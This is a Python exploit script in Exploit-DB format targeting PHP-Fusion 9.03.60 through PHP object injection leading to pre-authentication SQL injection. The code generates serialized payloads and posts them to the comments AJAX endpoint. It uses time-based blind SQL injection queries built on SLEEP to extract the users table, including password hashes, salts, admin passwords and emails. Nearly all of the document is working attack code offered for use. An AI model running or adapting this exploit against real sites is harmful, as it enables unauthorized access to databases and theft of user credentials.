205 lines
No EOL
5.6 KiB
Text
205 lines
No EOL
5.6 KiB
Text
# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection
|
|
# Date: 2020-05-26
|
|
# Exploit Author: coiffeur
|
|
# Vendor Homepage: https://www.php-fusion.co.uk/home.php
|
|
# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php
|
|
# Version: v9.03.60
|
|
|
|
# Description:
|
|
# PHP Object Injection to SQL injection (pre-auth)
|
|
|
|
|
|
import sys
|
|
|
|
import requests
|
|
|
|
import subprocess
|
|
|
|
GENERATOR_NAME = "gen.php"
|
|
GENERATOR_CONTENT = """<?php
|
|
if (count($argv) < 2) {
|
|
echo 'Usage: php gen.php "<PAYLOAD>"';
|
|
die;
|
|
}
|
|
|
|
$ar["comment_item_id"] = "1";
|
|
$ar["comment_item_type"] = $argv[1];
|
|
|
|
$payload = urlencode(base64_encode(serialize($ar)));
|
|
echo $payload;
|
|
?>
|
|
"""
|
|
|
|
|
|
DEBUG = 1
|
|
DELTA = None
|
|
TRESHOLD = 0.60
|
|
LIKE = "f%admin"
|
|
COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",
|
|
"user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]
|
|
|
|
|
|
def usage():
|
|
banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection
|
|
SYNOPSIS: python poi_to_sqli_9.03.50.py <URL>
|
|
DESCRIPTION:
|
|
Dump the content of the table named fusionX...X_users
|
|
AUTHOR: coiffeur
|
|
"""
|
|
print(banner)
|
|
|
|
|
|
def generator(action):
|
|
if action == "w":
|
|
with open(GENERATOR_NAME, "w") as f:
|
|
f.write(GENERATOR_CONTENT)
|
|
if action == "r":
|
|
_ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)
|
|
|
|
|
|
def generate_payload(text):
|
|
p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)
|
|
out, _ = p.communicate()
|
|
return out
|
|
|
|
|
|
def check(payload):
|
|
datas = {"comment_options": generate_payload(payload)}
|
|
r = requests.post(
|
|
url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)
|
|
return r.elapsed.total_seconds()
|
|
|
|
|
|
def evaluate_delay():
|
|
global DELTA
|
|
deltas = []
|
|
payload = "' UNION SELECT SLEEP(2)-- - '"
|
|
for _ in range(3):
|
|
deltas.append(check(payload))
|
|
DELTA = sum(deltas)/len(deltas)
|
|
|
|
|
|
def get_tbl_name_len():
|
|
i = 0
|
|
while 1:
|
|
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
|
|
if check(payload) >= DELTA*TRESHOLD:
|
|
return i-1
|
|
if i > 100:
|
|
print(f"[x] Exploit failed")
|
|
exit(-1)
|
|
i += 1
|
|
|
|
|
|
def get_tbl_name(length):
|
|
tbl_name = ""
|
|
for i in range(1, length+1):
|
|
min, max = 0, 127-1
|
|
while min < max:
|
|
mid = (max + min) // 2
|
|
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
|
|
if check(payload) >= DELTA*TRESHOLD:
|
|
max = mid
|
|
else:
|
|
min = mid + 1
|
|
tbl_name += chr(min)
|
|
if DEBUG:
|
|
print(f"[DEBUG] Table name: {tbl_name}")
|
|
return tbl_name
|
|
|
|
|
|
def get_rows_number(tbl_name):
|
|
i = 0
|
|
while 1:
|
|
payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"
|
|
if check(payload) >= DELTA*TRESHOLD:
|
|
return i
|
|
i += 1
|
|
|
|
|
|
def get_elt_len(tbl_name, column_name, offset):
|
|
i = 0
|
|
while 1:
|
|
payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '"
|
|
if check(payload) >= DELTA*TRESHOLD:
|
|
if DEBUG:
|
|
print(
|
|
f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")
|
|
return i-1
|
|
i += 1
|
|
|
|
|
|
def get_elt(tbl_name, column_name, offset, length):
|
|
elt = ""
|
|
for i in range(1, length+1):
|
|
min, max = 0, 127-1
|
|
while min < max:
|
|
mid = (max + min) // 2
|
|
payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"
|
|
if check(payload) >= DELTA*TRESHOLD:
|
|
max = mid
|
|
else:
|
|
min = mid + 1
|
|
elt += chr(min)
|
|
if DEBUG:
|
|
print(
|
|
f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")
|
|
print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")
|
|
return elt
|
|
|
|
|
|
def get_rows(tbl_name, row_number):
|
|
print(f"[*] Trying to dump {tbl_name}")
|
|
rows = []
|
|
for offset in range(row_number):
|
|
row = []
|
|
for column_name in COLUMNS:
|
|
elt_length = get_elt_len(tbl_name, column_name, offset)
|
|
row.append(get_elt(tbl_name, column_name, offset, elt_length))
|
|
print(f"[*] Row {offset}: {row}")
|
|
rows.append(row)
|
|
print(f"[*] Rows: {rows}")
|
|
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(usage())
|
|
exit(-1)
|
|
|
|
if DEBUG:
|
|
print(f"[*] Target: {sys.argv[1]}")
|
|
|
|
if DEBUG:
|
|
print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")
|
|
generator("w")
|
|
|
|
evaluate_delay()
|
|
if DEBUG:
|
|
print(f"[*] Delta: {DELTA}")
|
|
|
|
tbl_name_len = get_tbl_name_len()
|
|
if DEBUG:
|
|
print(
|
|
f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")
|
|
|
|
tbl_name = get_tbl_name(tbl_name_len)
|
|
print(f" Table name: {tbl_name}")
|
|
|
|
prefix = f"{tbl_name.split('_')[0]}_"
|
|
print(f"[*] Prefix: {prefix}")
|
|
|
|
user_table_name = f"{prefix}users"
|
|
|
|
number_of_rows = get_rows_number(user_table_name)
|
|
if DEBUG:
|
|
print(f"[*] {user_table_name} got {number_of_rows} rows")
|
|
|
|
get_rows(user_table_name, number_of_rows)
|
|
|
|
if DEBUG:
|
|
print(f"[DEBUG] Removing {GENERATOR_NAME}")
|
|
generator("r")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main() |